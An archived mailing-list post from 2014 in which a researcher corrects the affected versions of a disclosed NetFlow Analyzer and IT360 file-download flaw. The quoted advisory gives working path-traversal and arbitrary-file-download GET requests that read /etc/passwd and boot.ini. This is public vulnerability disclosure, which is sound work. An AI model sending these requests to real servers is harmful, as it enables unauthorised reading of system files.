lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 3 Dec 2014 09:43:37 +0000
From: Pedro Ribeiro <>
To: bugtraq <>,
Subject: Re: [FD] [The ManageOwnage Series,
 part IX]: 0-day arbitrary file download in NetFlow Analyzer and

On 30 Nov 2014 00:17, "Pedro Ribeiro" <> wrote:
> Hi,
> This is part 9 of the ManageOwnage series. For previous parts see [1].
> >> Technical details:
> Vulnerability: Arbitrary file download
> Constraints: unauthenticated in NetFlow; authenticated in IT360
> Affected versions: NetFlow v8.6 to v9.9; at least IT360 v10.3 and above
> CVE-2014-5445:
> GET /netflow/servlet/CSVServlet?schFilePath=/etc/passwd
> GET /netflow/servlet/CReportPDFServlet?schFilePath=C:\\boot.ini&pdf=true
> CVE-2014-5446
> GET /netflow/servlet/DisplayChartPDF?filename=../../../../boot.ini

A small correction: the NetFlow vulnerable versions are actually v8.6 to
v10.2 (which is the latest release). I've updated the advisory in the repo.


Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists